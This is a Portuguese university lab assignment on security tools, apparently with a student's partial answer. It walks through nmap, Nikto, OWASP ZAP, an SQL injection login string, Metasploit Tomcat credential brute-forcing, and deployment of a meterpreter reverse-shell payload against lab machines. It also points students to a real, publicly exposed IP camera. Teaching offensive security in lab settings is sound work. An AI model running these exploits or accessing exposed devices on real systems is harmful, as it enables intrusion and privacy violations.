# Segurança em Computação Trabalho Individual IV

João Paulo Taylor Ienczak Zanette

27 de maio de 2019

### Parte 1. Usando o NMAP

Copie e cole screenshots de telas obtidas na execução dos comandos. Explique brevemente a saída obtida em cada um dos comandos das questões 1, 2, 3 e 4.

1. nmap -sV -0 10.1.2.6;

A flag  $\neg sV$  indica para o nmap fazer uma busca por serviços (e suas respectivas versões) em cada porta aberta no *host* 10.1.2.6. A flag  $\neg 0$  serve para tentar identificar qual o SO do *host* especificado.

- 2. nmap -v -A 10.1.2.6;
- 3. nmap -sS -v --top-ports 10 --reason -oA saidanmap www.ufsc.br;
- 4. Crie um comando com opções diferentes das usadas nas questões anteriores e explique a saída obtida pelo seu comando.
- 5. Responda:
  - (a) Qual a diferença entre um scan de conexão TCP e um SYN scan?
  - (b) Qual questão anterior usa scan de conexão TCP e qual questão usa SYN scan?
  - (c) Comente pelo menos uma vulnerabilidade da máquina Owasp Broken, listando a identificação CVE (cve.mitre.org) da vulnerabilidade.

## Parte 2. Nikto

- - (a) Copie e cole screenshots de telas obtidas na execução do comando;
  - (b) Explique o que mais chamou sua atenção na saída obtida. Explique também alguma vulnerabilidade encontrada nessa aplicação (WackoPicko) que consta no relatório do arquivo muti.html.

### Parte 3. OWASP

- 7. Explique as vulnerabilidades A1, A2, A3 e A7 do documento TOP TEN 2017: https://www.owasp.org/images/7/72/0WASP\_Top\_10-2017\_\$28en\$29.pdf.pdf;
- 8. Faça:
  - (a) Acesse a aplicação Mutillidae: abra o browser da sua máquina real ou na Kali Linux no site http://<IPdaKali>/mutillidae e clique em Login. No campo Username, digite ' or 1=1 -- . O campo password pode ficar em branco. Copie e cole a tela do seu experimento;
  - (b) Explique o resultado obtido e a vulnerabilidade explorada no experimento (pesquise no documento do TOP 10 da OWASP);
  - (c) O que pode ser feito para impedir a exploração dessa vulnerabilidade?
  - (d) Clique em Logout.
- 9. Repita a inserção da mesma string anterior no seguinte link: http://<IPdaKali>/mutillidae/index.php?page=user-info.php;
  - (a) Explique a vulnerabilidade explorada no experimento (pesquise no documento do TOP 10 da OWASP);
  - (b) Copie e cole um screenshot da execução de um experimento;
  - (c) O que pode ser feito para impedir a exploração dessa vulnerabilidade?
- 10. Você deve utilizar a ferramenta OWASP ZAP (Zed Attack Proxy) da Kali Linux. As ferramentas de scan de web são encontradas no menu Kali-Linux -> O3 Web Application Analysis -> owasp-zap. Faça um scan das vulnerabilidades da aplicação WackoPicko da máquina OWASP Broken usando a ferramenta. Faça:
  - (a) Coloque a URL da aplicação http://<IPdaOWASP>/WackoPicko e clique em "Attack". A análise básica é iniciada. Demora um pouco (de 8 a 10 minutos) e você deve salvar o relatório geral do processo (opção Report -> Generate HTML Report). Os alertas (aba Alerts) vão listando as vulnerabilidades encontradas. Na aba Active Scan é possível ver os requests sendo enviados.
  - (b) Comente o experimento e os resultados alcançados.
- 11. Observe a lista de vulnerabilidades da aplicação Mutillidae disponível em http://<IPdaKali>/mutillidae/index.php?page=./documentation/vulnerabilities.php. Agora você deve escolher duas vulnerabilidades do TOP 10 2017 da lista da OWASP e criar uma forma de ataque para cada uma das vulnerabilidades escolhidas. Assim, você deve criar dois ataques (devem ser diferentes dos ataques das questões 8 e 9). Documente os experimentos e mostre funcionando na apresentação. Na apresentação você também deve explicar as vulnerabilidades.

### Parte 4. Vulnerabilidades em IoT

- 12. Leia a reportagem com título "Find webcams, databases, boats in the sea using Shodan" disponível em https://www.securitynewspaper.com/2018/11/27/find-webcams-databases-boats-in-the-sea-using-shodan/. Responda:
  - (a) O que é o Shodan e o que é possível fazer com esse site?
  - (b) (Apresentação) Faça o registro no site, pesquise e liste algum dispositivo IoT que você encontrou.
- 13. Conforme descrito na reportagem, acesse o link http://166.161.197.253:5001/cgi-bin/guestimage.html. É uma câmera Mobotix. Responda:
  - (a) O que é possível visualizar?
  - (b) Um atacante poderia fazer o que com este acesso?

## Parte 5. Metasploit

#### Parte 5..1 Usando o Metasploit para explorar o TOMCAT na máquina Owasp Broken

O servidor Apache Tomcat é um servidor web Java.

```
msf > search tomcat
```

Com o comando search tomcat é possível identificar os exploits disponíveis. Procure o nome do módulo:

```
Name ... Description auxiliary/scanner/http/tomcat_mgr_login ... Tomcat Application Manager Login Utility
```

Para usar este módulo digite:

```
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf > show options
```

As opções mostram o que pode ser configurado para usar o módulo escolhido. Nem tudo precisa ser configurado.

Digite os comandos abaixo. Copie e cole o screenshot da sua tela no relatório da tarefa ao realizar o experimento:

```
msf auxiliary(tomcat_mgr_login) > set RHOSTS 10.1.2.6
msf auxiliary(tomcat_mgr_login) > set RPORT 8080 (Porta do Tomcat)
msf auxiliary(tomcat_mgr_login) > exploit
```

Este módulo executa um ataque do dicionário, utilizando os arquivos indicados nas variáveis indicadas acima. Neste ataque uma das combinações utilizadas poderá ser aceita pelo servidor.

- 14. Copie e cole a screenshot da sua tela ao realizar o experimento anterior. Depois, explique o experimento:
  - (a) O que é o ataque do dicionário?
  - (b) O que foi encontrado?
  - (c) Qual foi a vulnerabilidade usada para obter esse resultado?
  - (d) Como pode ser explorado esse resultado?

O tomcat\_mgr\_deploy pode usar diferentes payloads. O payload identifica o código que o módulo deve executar e que deve ser entregue ao alvo.

```
msf exploit(tomcat_mgr_deploy) > show payloads
```

#### Digite os comandos:

```
msf > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOSTS x.x.x.x (IP da máquina Owasp)
msf exploit(tomcat_mgr_deploy) > set HttpUsername root
msf exploit(tomcat_mgr_deploy) > set HttpPassword owaspbwa
msf exploit(tomcat_mgr_deploy) > set RPORT 8080
msf exploit(tomcat_mgr_deploy) > show options
msf exploit(tomcat_mgr_deploy) > show payloads
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp
msf exploit(tomcat_mgr_deploy) > show options
msf exploit(tomcat_mgr_deploy) > set LHOST 10.1.2.7 -> colocar IP da Kali
msf exploit(tomcat_mgr_deploy) > exploit
```

Nesse prompt (meterpreter) podem ser executados comandos. Ao conseguir chegar no prompt do meterpreter você está com um tipo de shell na máquina alvo. Digite help no prompt do meterpreter para listar os comandos possíveis que poderão ser executados.

- 15. Copie e cole a screenshot da sua tela de estabelecimento de sessão (inclua na imagem a parte dos IPs, data e hora dos experimentos). Agora, explique os experimentos respondendo perguntas:
  - (a) Qual a vulnerabilidade que está sendo explorada?
  - (b) O que faz o exploit para explorar a vulnerabilidade?
  - (c) O que é o meterpreter?
  - (d) O que é possível fazer depois que o exploit é executado? Use pelo menos dois comandos do meterpeter listados com o comando help e explique cada um deles, colocando a imagem da execução dos seus comandos. Alguns comandos para máquinas Windows não funcionarão na máquina Linux.

Sequência de meterpreters:

```
— ps —
```